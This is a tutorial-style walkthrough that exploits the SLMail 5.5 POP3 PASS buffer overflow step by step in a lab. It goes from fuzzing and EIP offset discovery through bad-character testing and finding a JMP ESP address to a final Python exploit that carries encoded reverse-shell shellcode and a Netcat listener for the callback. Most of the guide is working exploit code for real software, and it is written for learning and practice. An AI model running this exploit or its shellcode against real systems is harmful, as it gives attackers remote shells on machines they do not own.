Buffer Overflow, Guides, Stack Buffer Overflow

Stack Buffer Overflow – Exploiting SLMail 5.5

Introduction

This guide will demonstrate the various steps involved in exploiting the remote buffer overflow vulnerability that is present in the Seattle Lab Mail (SLMail) 5.5 POP3 application, in order to gain remote access to a vulnerable machine.

A POC along with the vulnerable software can be found at this link.

Crashing the application

First of all we have to cause the application to crash, the very first thing to do is install and run the application and attach it to the immunity debugger:

After performing some basic fuzzing, it looks like the application crashes when sending “USER [username]” and “PASS [buffer]”, where buffer is a string of about 6000 characters. An example script can be found below:

import sys
import socket
buffer = 'A' * 6000
HOST = '10.0.0.101'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()

Running the Python script:

The application crashed with an access violation error and EIP was overwritten with the “A” characters sent by the script:

Identifying the EIP offset

The next step required is to identify which part of the buffer that is being sent is landing in the EIP register, in order to control the execution flow. Using the msf-pattern_create tool to create a string of 6000 bytes.

Adding the pattern to a new script, instead of sending the “A” characters:

import sys
import socket
buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac...7Hr8Hr9'
HOST = '10.0.0.101'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()

Restarting the application, re-attaching Immunity and running the script:

This time, EIP was overwritten with “7A46317A”

Using the msf-pattern_offset tool to calculate the exact offset, which is 4654

Modifying script to override EIP with “B” characters to test this last step, adding a bunch of C characters to fill out the empty space:

import sys
import socket
offset = 'A' * 4654
EIP = 'B' * 4
padding = "C" * (6000 - len(offset) + len(EIP))
buffer = offset + EIP + str(padding)
HOST = '10.0.0.101'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()

Restarting the application, re-attaching Immunity and running the script:

As expected, the EIP registry was overwritten with the four “B” characters that were sent by the script:

Verifying available shellcode space

The purpose of this step is to verify whether there is enough space for the shellcode immediately after EIP, which is what will be executed by the system in order to gain remote access. Adding about 600 C characters to the script for this phase:

import sys
import socket
offset = 'A' * 4654
EIP = 'B' * 4
shellcode = "C" * (5300 - (len(offset) + len(EIP)))
buffer = offset + EIP + shellcode
HOST = '10.0.0.101'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "[+] Sending buffer:" + buffer
s.close()

Restarting the application, re-attaching Immunity and running the script:

All the “C” characters that were sent by the script were received and they have successfully overwritten the ESP register. This means an ESP JMP address can be used to redirect the execution to ESP, which will contain the malicious shellcode.

When checking the difference between the address at the beginning and the end of the “C” characters this confirms they all made id into ESP:

Testing for bad characters

In this phase all we have to do is identify whether there are any bad characters that can’t be interpreted by the application, so that we can later on remove them from the shellcode.

Modifying the script, adding all possible characters in hex format:

import sys
import socket
offset = 'A' * 4654
EIP = 'B' * 4
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
buffer = offset + EIP + badchars
HOST = '10.0.0.101'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "[+] Sending buffer:" + buffer
s.close()

Restarting the application, re-attaching Immunity and running the script:

After following the ESP register to the memory dump, it looks like 0a did not make it into ESP, therefore this will have to be removed

Removing x0a from the bad characters variable in the script:

import sys
import socket
offset = 'A' * 4654
EIP = 'B' * 4
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
buffer = offset + EIP + badchars
HOST = '10.0.0.101'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "[+] Sending buffer:" + buffer
s.close()

Restarting the application, re-attaching Immunity and running the script:

After following the ESP register to the memory dump, it looks like this time all the characters made it into ESP, therefore no bad characters are present, apart from x00 which is always considered a bad character

Finding a JMP ESP return address

The next step is to find a valid JMP ESP instruction address so that we can redirect the execution of the application to our malicious shell code.

Restarting the application, re-attaching Immunity and using !mona modules

Finding valid opcodes for the JMP ESP instruction – we are after FFE4

Using Mona find to identify a valid dll or exe for our JMP ESP instruction – the Openc32 DLL doesn’t have any pointer

the ARM DLL contains x00 in its address, bad character, so it won’t work

The same applies to the SLmail executable

Finally, the wshtcpip DLL apepars to be have a valid pointer as it doesn’t contain any bad characters:

Copying the address and searching for it to ensure it is valid:

It looks like it corresponds to a valid JMP ESP instruction address

Changing the script to replace the “B” characters used for the EIP register with the newly found JMP ESP instruction address, and adding 428 NOP “C” characters, which will function as placeholder for the shellcode

import sys
import socket
offset = 'A' * 4654
EIP = '\x8b\xc0\x94\x77'
shellcode = "C" * 428
buffer = offset + EIP + shellcode
HOST = '10.0.0.101'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "[+] Sending buffer:" + buffer
s.close()

Restarting the application, re-attaching Immunity and adding a breakpoint on the JMP ESP instruction address, then starting the program execution:

Executing the script again:

When the application stops, it lands on the JMP ESP instruction, which is where the breakpoint was added.

When single-stepping into the application execution, this takes to the NOP slides, as expected

Generating and adding the shellcode

The first step of this phase is to generate some shellcode using MSFvenom with the following flags:

  • -p to specify the payload type, in this case the Windows reverse TCP shell
  • LHOST to specify the local host IP address to connect to
  • LPORT to specify the local port to connect to
  • -f to specify the format, in this case Python
  • -b to specify the bad characters, in this case x00 and x0a
  • -e to specify the encoder, in this case shikata_ga_nai
  • -v to specify the name of the variable used for the shellcode

Adding the shellcode to the script, along with 10 NOP slides at the beginning of it to avoid errors during the decoding phase

import sys
import socket
offset = 'A' * 4654
EIP = '\x8b\xc0\x94\x77'
shellcode =  b""
shellcode += b"\xeb\x23\x5b\x89\xdf\xb0\xed\xfc\xae\x75\xfd"
shellcode += b"\x89\xf9\x89\xde\x8a\x06\x30\x07\x47\x66\x81"
shellcode += b"\x3f\x6e\x54\x74\x08\x46\x80\x3e\xed\x75\xee"
shellcode += b"\xeb\xea\xff\xe1\xe8\xd8\xff\xff\xff\x27\xed"
shellcode += b"\xdb\xcf\xa5\x27\x27\x27\x47\xae\xc2\x16\xe7"
shellcode += b"\x43\xac\x77\x17\xac\x75\x2b\xac\x75\x33\xac"
shellcode += b"\x55\x0f\x28\x90\x6d\x01\x16\xd8\x8b\x1b\x46"
shellcode += b"\x5b\x25\x0b\x07\xe6\xe8\x2a\x26\xe0\xc5\xd5"
shellcode += b"\x75\x70\xac\x75\x37\xac\x6d\x1b\xac\x6b\x36"
shellcode += b"\x5f\xc4\x6f\x26\xf6\x76\xac\x7e\x07\x26\xf4"
shellcode += b"\xac\x6e\x3f\xc4\x1d\x6e\xac\x13\xac\x26\xf1"
shellcode += b"\x16\xd8\x8b\xe6\xe8\x2a\x26\xe0\x1f\xc7\x52"
shellcode += b"\xd1\x24\x5a\xdf\x1c\x5a\x03\x52\xc3\x7f\xac"
shellcode += b"\x7f\x03\x26\xf4\x41\xac\x2b\x6c\xac\x7f\x3b"
shellcode += b"\x26\xf4\xac\x23\xac\x26\xf7\xae\x63\x03\x03"
shellcode += b"\x7c\x7c\x46\x7e\x7d\x76\xd8\xc7\x78\x78\x7d"
shellcode += b"\xac\x35\xcc\xaa\x7a\x4f\x14\x15\x27\x27\x4f"
shellcode += b"\x50\x54\x15\x78\x73\x4f\x6b\x50\x01\x20\xd8"
shellcode += b"\xf2\x9f\xb7\x26\x27\x27\x0e\xe3\x73\x77\x4f"
shellcode += b"\x0e\xa7\x4c\x27\xd8\xf2\x77\x77\x77\x77\x67"
shellcode += b"\x77\x67\x77\x4f\xcd\x28\xf8\xc7\xd8\xf2\xb0"
shellcode += b"\x4d\x22\x4f\x2d\x27\x27\x49\x4f\x25\x27\x26"
shellcode += b"\x9c\xae\xc1\x4d\x37\x71\x70\x4f\xbe\x82\x53"
shellcode += b"\x46\xd8\xf2\xa2\xe7\x53\x2b\xd8\x69\x2f\x52"
shellcode += b"\xcb\x4f\xd7\x92\x85\x71\xd8\xf2\x4f\x44\x4a"
shellcode += b"\x43\x27\xae\xc4\x70\x70\x70\x16\xd1\x4d\x35"
shellcode += b"\x7e\x71\xc5\xda\x41\xe0\x63\x03\x1b\x26\x26"
shellcode += b"\xaa\x63\x03\x37\xe1\x27\x63\x73\x77\x71\x71"
shellcode += b"\x71\x61\x71\x69\x71\x71\x74\x71\x4f\x5e\xeb"
shellcode += b"\x18\xa1\xd8\xf2\xae\xc7\x69\x71\x61\xd8\x17"
shellcode += b"\x4f\x2f\xa0\x3a\x47\xd8\xf2\x9c\xd7\x92\x85"
shellcode += b"\x71\x4f\x81\xb2\x9a\xba\xd8\xf2\x1b\x21\x5b"
shellcode += b"\x2d\xa7\xdc\xc7\x52\x22\x9c\x60\x34\x55\x48"
shellcode += b"\x4d\x27\x74\xd8\xf2\x6e\x54"
nops = "\x90" * 10
buffer = offset + EIP + nops + shellcode
HOST = '10.0.0.101'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "[+] Sending buffer:" + buffer
s.close()

Exploitation

The next step is to set up a Netcat listener, which will catch our reverse shell when it is executed by the victim host, using the following flags:

  • -l to listen for incoming connections
  • -v for verbose output
  • -n to skip the DNS lookup
  • -p to specify the port to listen on

Restarting the application without the debugger and running the script:

A call back was received and a reverse shell was granted.

Conclusion

Searching for vulnerable applications in exploit databases such as Exploit DB and exploiting them from scratch is not only a great learning experience but also extremely satisfying, and it helps you understand how these attacks were conducted in real life.

If you are interested you can download the application and practice yourself here: https://www.exploit-db.com/apps/12f1ab027e5374587e7e998c00682c5d-SLMail55_4433.exe